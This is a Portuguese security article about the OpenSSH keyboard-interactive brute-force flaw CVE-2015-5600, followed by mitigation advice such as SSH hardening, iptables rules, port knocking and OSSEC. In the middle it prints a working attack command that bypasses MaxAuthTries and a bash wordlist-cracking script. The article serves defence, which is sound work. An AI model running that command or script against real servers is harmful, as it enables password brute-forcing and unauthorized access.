Vulnerabilidades

Como mitigar a vulnerabilidade OpenSSH keyboard-interactive authentication brute force (CVE-2015-5600)

O keyboard-interactive[1] é um método utilizado pelo OpenSSH que permite a autenticação usando vários recursos como o RADIUS, PAM, RSA security token, etc.

Algumas distribuições Linux desabilitam esse recurso por padrão, o mesmo não ocorre no FreeBSD. Em sistemas Linux o keyboard-interactive costuma ser ativado por administradores que desejam utilizar outro método de autenticação como o PAM ( Plugin Autentication Module), por exemplo.

A Vulnerabilidade

Uma vulnerabilidade descoberta pelo pesquisador KingCope [2]permite executar ataques de força bruta ao SSH através do ‘bypass’ do MaxAuthTries [3], opção que limita o número máximo de tentativas de autenticação, cujo o valor padrão são 6 tentativas.

O tempo do ataque é limitado pelo parâmetro LoginGraceTime, opção que limita o tempo de desconexão se a autenticação não for bem sucedida, sendo que o valor padrão são de 120 segundos.

O comando abaixo permite a execução do ataque. Ele fará 10000 tentativas no período estipulado pelo parâmetro LoginGraceTime.

ssh -lusuário -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` alvo

Já o shell script abaixo permite executar o ataque usando uma wordlist.

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

Mitigando o ataque

Várias ações podem ser implementadas para mitigar esta e outras vulnerabilidades.

1. Adotar boas práticas de configuração (hardening) do serviço SSH,como:

* Alterar a porta padrão
* Desabilitar o login usando o usuário root.
* Usar senhas fortes.
* Usar a autenticação usando chaves SSH[4] ao invés de senha.
* Reduza o valor do parâmetro LoginGraceTime.

2. Filtrar o acesso através do firewall apenas para hosts autorizados, o exemplo abaixo pode ser utilizado no iptables

-A INPUT -s 200.123.123.123/32 -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT

3.Se não for possível filtrar o acesso estabeleça limites, como o exemplo abaixo para o iptables:

-A INPUT -i eth0 -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --mask 255.255.255.255 --rsource
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH --mask 255.255.255.255 --rsource -j LOGDROP
-A LOGDROP -m limit --limit 5/min --limit-burst 10 -j LOG
-A LOGDROP -j DROP

4. Utilizar o Port Knocking[5]. Método de proteção por obscuridade que permite definir uma sequência específica para a liberação de acesso a uma porta.

5. Utilizar o OSSEC HIDS[6]. Ferramenta de proteção permite identificar diversos ataques, inclusive de força bruta, bloqueando sua origem.

Referências

[1] RFC4256 Generic Message Exchange Authentication for the Secure Shell Protocol (SSH) – https://www.ietf.org/rfc/rfc4256.txt

[2] OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass) – https://kingcope.wordpress.com/2015/07/16/openssh-keyboard-interactive-authentication-brute-force-vulnerability-maxauthtries-bypass/

[3] SSH Config – http://www.openbsd.org/cgi-bin/man.cgi/OpenBSD-current/man5/sshd_config.5?query=sshd_config

[4] How To Configure SSH Key-Based Authentication on a Linux Server – https://www.digitalocean.com/community/tutorials/how-to-configure-ssh-key-based-authentication-on-a-linux-server

[5] How To Use Port Knocking to Hide your SSH Daemon from Attackers on Ubuntu – https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu

[6] OSSEC HIDS – http://ossec.net

[7] CVE-2015-5600 – https://access.redhat.com/security/cve/CVE-2015-5600